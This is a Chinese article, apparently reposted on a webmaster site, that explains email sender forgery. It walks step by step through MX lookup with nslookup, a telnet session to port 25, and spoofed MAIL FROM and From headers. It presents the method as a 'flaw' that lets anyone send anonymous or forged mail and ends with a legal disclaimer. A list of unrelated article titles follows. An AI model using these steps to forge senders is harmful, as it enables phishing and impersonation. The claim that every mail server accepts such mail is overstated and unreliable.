大家在看到这篇文章的小标题的时候,或许很多人都知道了这个“漏洞”,而有的人在看文章的过程中,知道这个“漏洞”,也有的人或许会惊诧,因为小标题好像说得太过严重,不过不管看这篇文章的人是什么样的水平,或什么样的心理,我的目的只是把网络上这个缺陷进行一个更细节的介绍,因为我相信,只有大家都看到了这样的“漏洞”,网络才会慢慢的改善,才会有进步。

发送匿名邮件在Internet上已经是一个古老的话题,很多电子邮件服务器的管理员都采取了很多措施来防止匿名邮件的发送,比如:IP漫游记录,SMTP认证等,并且取得了相当不错的效果,但是近日通过我对发送邮件的过程的追踪,尽管有了以上方法能防止一部分人发送匿名邮件,但实际上仍然可以畅通无阻的发送的匿名邮件,这种漏洞到目前为止应该是100%的邮件服务器的通病,并且是无法避免的“漏洞”,这主要是因为现在的SMTP服务的不完善造成的,实际上很多发送垃圾邮件的工具,其原理也就是我在这篇文章里所介绍的原理。目前国内的邮件服务器应该都有这样的漏洞,包括网易、新浪、搜狐等大型网站都无法逃脱,假如这几大网站的管理员看到了这篇文章,有兴趣的话,可以跟着我来测试。

首先我来简单的说一下电子邮件传送的原理,假定自己的邮件服务器的DOMAIN为cdefg.com,要发送一封test@cdefg.com的电子邮件,电子邮件的正常的传送都需要靠DNS的MX纪录来查找对应服务器的的IP地址,然后再开始发送邮件,同理cdefg.com邮件服务器会查找abcd.com的邮件纪录,然后把邮件发送到abcd.com所对应的IP地址,假设找到了xxx.xxx.xxx.xxx这个IP,并且xxx.xxx.xxx.xxx有smtp服务,这时服务器会连接到xxx.xxx.xxx.xxx的25号端口(SMTP服务所监听的端口),并且把邮件发送进去。

说到这里或许有很多人等不急了吧?好了,让我开始介绍“漏洞”吧,Internet上的任何服务器都会无条件的接受匿名邮件、垃圾邮件,任何人的电子邮件也都可以被伪造,或许有些人惊诧的想,能伪造所有的?他们是如何做到的?可能也有人说这不是漏洞,只是邮件传输的机制。但这确实能对Internet构成很大的威胁,比如伪造电子邮件,网络上伪造一个人的电子邮件实在太简单,它不象现实中的书信,能看笔迹。而在网络,所有的笔都是键盘,唯一能进行识别的就是数字认证,但在经济还不发达的我国,想要每个人都拥有数字认证,是非常困难的事,所以只有完善SMTP服务才是最好的办法。

网络上是如何实现这个匿名邮件、伪造邮件发送的过程的呢?很简单,我来给大家介绍,比如伪造webmaster@domain.com给username@domainname.com发送一封电子邮件,首先由于要给username@domainname.com发送邮件,所以先找要到这个邮件地址的SMTP服务器,在命令行下使用nslookup这个小工具很快就能查出来,如下:

C:\>nslookup

DefaultServer:ns.hncsptt.net.cn

Address:202.103.96.68//开始运行nslookup,并且默认的DNS服务器为该IP地址。

>settype=mx//设置显示类型为MX纪录。

>domainname.com//查询domainame.com的MX纪录。

domainname.comMXpreference=10,mailexchanger=mail.domainname.com

mail.domainname.cominternetaddress=xxx.xxx.xxx.xxx

>exit

很快通过上面的命令就查出了domainname.com这个域的STMP服务器地址为xxx.xxx.xxx.xxx

好了,让我们继续,

C:\>telnetxxx.xxx.xxx.xxx25

会出现:

220mail.domainname.com

在这里也可能是别的,因为可能默认域不是domianname.com的域,而且其他的,但不管这些,你只要看到220这个数字就行了。

现在再接着输入命令:

HELOdomain.com

返回:

250mail.domainname.comHello[x.x.x.x]

这里表示和邮件服务器握手成功,其中x.x.x.x就是你的IP地址。

好了,我们冒充的最关键地方开始了:

MAILFROM:webmaster@domain.com

250OK

这里告诉服务器,我们将用webmaster@domain.com这个电子邮件来发送这封电子邮件,很可惜任何的SMTP服务器都不会验证这个电子邮件的真实性,所以这里就被服务器给认可了,于是服务器返回250OK,表示接受,继续等待下面的命令。

RCPTTO:username@domainname.com

250OK

告诉服务器邮件发送给username@domainname.com,但是服务器在这里仅仅只检查domainname.com这个域是不是在自己的转发列表里,由于我们是直接查的dommainname.com这个域的SMTP服务器,所以当然也绝对会在列表了,所以服务器的返回OK,而不会做更多的验证。

DATA

354Startmailinput;endwith.

这里输入DATA,告诉服务器要开始输入邮件内容了,邮件服务器会返回354信息,以及上面说的邮件以“.”结束。

开始输入邮件内容了,但一般邮件都会有邮件头,为了更真实的伪造邮件,我们可以按下面的输入:

From:webmaster@domain.com//让Outlook,foxmail等这样的客户端工具显示发送者为webmaster@domain.com

To:username@domainname.com//同样让客户端工具显示接收者为username@domainname.com

Subject:sendanonymousmail//邮件主题

Test//邮件内容,这里想怎么写就怎么写了。

.//最后输入一个“.”结束邮件。

250sendOK

服务器返回250,说邮件发送成功,这时你就成功的冒充webmaster@domain.com给username@domainname.com发送了一封邮件,不过如果对方看邮件头,能看到你的IP地址,可是很可惜的是90%以上的电子邮件用户根本就不会在乎发送电子邮件的人的IP是什么的,而且更多的人是没有这样的专业知识,所以他们只能凭邮件内容来辨别真伪,可是又有多少人很快的想到他现在看的这封邮件是一封伪造的呢?同样的既然能伪造邮件,自然也就能发送匿名邮件了,因为都是同一个方法。而网络上所使用的那些专门发送匿名邮件,以及广告邮件用的工具软件,所利用的原理基本都是这样。

看到这里大家也都知道了吧,只要你知道谁的电子邮件地址,然后根据邮件地址的域,查出SMTP服务器,就能很快的给他发送一封匿名的电子邮件,或伪造的电子邮件,因为所有的SMTP服务器都不会去验证发送者是真还是假,而服务器对于发送到它自己的用户的所有邮件,也不会做任何的验证,这就是SMTP服务的不完善,而导致了这样一个非常严重的“漏洞”,也正是这个漏洞,使得网络上的垃圾邮件,广告邮件越来越猖狂,可以说是匿名(垃圾)邮件的根源。

声明:利用文章所介绍的技术发送恶意的垃圾邮件、伪造邮件是违法的,文章中发送邮件的内容仅供网络管理员参考使用,请勿做其他用途,否则后果自负!!

电子邮件服务器限制匿名,匿名(垃圾)邮件的根源—网络上几乎所有服务器都不可避免的“漏洞”...相关推荐

  1. 电子邮件服务器限制匿名,匿名(垃圾)邮件的根源—网络上几乎所有服务器都不可避免的“漏洞-站长资讯中心...

    大家在看到这篇文章的小标题的时候,或许很多人都知道了这个"漏洞",而有的人在看文章的过程中,知道这个"漏洞",也有的人或许会惊诧,因为小标题好像说得太过严重,不 ...

  2. U-Mail邮件服务器教你反垃圾邮件新方法

    垃圾邮件猖獗防不胜防,这是一个棘手的世界性难题,关于反垃圾邮件的方法,我们此前已反复告诉用户U-Mail邮件系统使用了很多功能,诸如启发式.贝叶斯分类.灰名单.黑白名单等.应该说,这些方法效果都不错, ...

  3. 反垃圾邮件软件_网络安全界的扛把子!大蜘蛛杀毒软件!货硬,价更香!

    "俄罗斯"大神在此! Dr.Web是世界首批反病毒产品之一 Dr.Web反病毒产品的研发始于20世纪90年代上半期,当时互联网刚刚发展,尚未成为"全球网络",只 ...

  4. 确保已在无线网络上启用dhcp服务器,启用dhcp

    属于无线AP的安全措施的是( ) A.隐藏SSID B.启用WEP C.启用DHCP服务 D.启用MAC地址过滤 智慧家庭宽带工程师-> 练习题->智慧家庭工程师技能认证模拟测试题一-&g ...

  5. lol服务器什么时候修复,《英雄联盟》史上最慢服务器修复,官方修复公告阅读超过100万...

    原标题:<英雄联盟>史上最慢服务器修复,官方修复公告阅读超过100万 <英雄联盟>昨天更新之后到现在还是登陆不了服务器,昨日英雄联盟在官网发布6月27日关于部分玩家登陆异常的公 ...

  6. node 自动上传文件到服务器,利用nodejs监控文件变化并使用sftp上传到服务器

    最近在用react+express做一个自己的工具型网站(其实就是夺宝岛抢拍器) 然后因为经常要改动,而且又要放到服务器上进行测试.总是要webpack,然后手动把文件上传上去,不胜其烦,索性搜索了下 ...

  7. 信息发不出服务器是什么,如何发邮件?为什么发不出去?服务器是什么?

    Outlook Express邮箱使用全攻略(转自云之渊论坛: ) 1.防止OE发送乱码正确的方法是: 首先,在邮件编辑窗口中,用鼠标单击菜单栏中的"格式"菜单,并从弹出的下拉菜单 ...

  8. 确保已在无线网络上启用dhcp服务器,WiFi无线网络提示未启用DHCP无法上网的解决方法教程[多图]...

    电脑系统无线网络连接提示未启用DHCP怎么办?Win7系统WiFi一直提示未启用DHCP不能正常上网该如何解决?请看下文具体介绍. 解决方法: 1.首先我们右键电脑上的网络图标,然后在弹出的选项中,我 ...

  9. 小程序上传服务器图片压缩,微信小程序压缩图片并上传到服务器(拿去即用)...

    /**压缩图片*/compressionImage(tempFilePaths, params) { let that= thiswx.getImageInfo({ src: tempFilePath ...

  10. 安卓到ios显示无法连接服务器,android-发生SSL错误,无法仅在ios上建立与服务器的安全连接...

    我有一个正在运行的React Native应用程序,以Ruby On Rails Server作为后端,我正在使用let'sencrypt来获得SSL证书,并且该应用程序在WIFI上的android和 ...

最新文章

  1. oracle对sga统计信息不对,关于oracle sga设置的总结,很经典--转
  2. CentOS6.9中搭建FTP服务器
  3. 【C#】调度程序进程已挂起,但消息仍在处理中;
  4. 数据传值方式、分支结构、循环结构
  5. 典型用户分析及用户场景分析
  6. 在Nginx上配置NameCheap免费SSL
  7. 添加到界面前获取尺寸
  8. 电脑版微信怎么看朋友圈_电脑上也可以看朋友圈,99%的人都不知道!
  9. Oracle中UNION和ORDER BY共用方法
  10. Java 面试—乐/悲观锁,wait/notify/notifyAll对比
  11. dll修复工具哪个好?靠谱dll修复助手
  12. 软考高项-了解软考高项
  13. curl DNS解析失败crash问题
  14. H5动画实现---过渡
  15. 万户OA助力红豆集团信息化建设方案
  16. 纯属娱乐的涂色绘画系统
  17. 一杯茶,一包烟,一个环境配一天
  18. FAIL : No keyword with name '/dev/mapper/vg1-lv1' found.(解决方法)
  19. py语法07-字符串的操作
  20. 帝云CMS-免费可商用的万能PHP建站程序

热门文章

  1. DDA划线法(Digital Differenttial Analyzer,数值微分法)
  2. 那些年我们一起犯二的青春--IGRSS--2015--1th
  3. c语言编写一个程序计算某年某月有几天,c语言:输入某一年的第几天,计算并输出它是这一年的第几月第几日,具体怎样编程...
  4. TPS65217DRSLR 电源管理IC 设计用于便携式设备
  5. Win10更新失败的解决办法
  6. win7桌面我的计算机打不开怎么回事,win7系统双击我的电脑打不开的解决方法
  7. android tf卡 修复工具,如何修复/格式化损坏的安卓手机SD卡-万兴恢复专家
  8. 在JS中控制键盘输入 delete键、backspace键、enter键(涉及JSP、JQuery)及其他键
  9. Android图片拼接
  10. antd tab右键菜单renderTabBar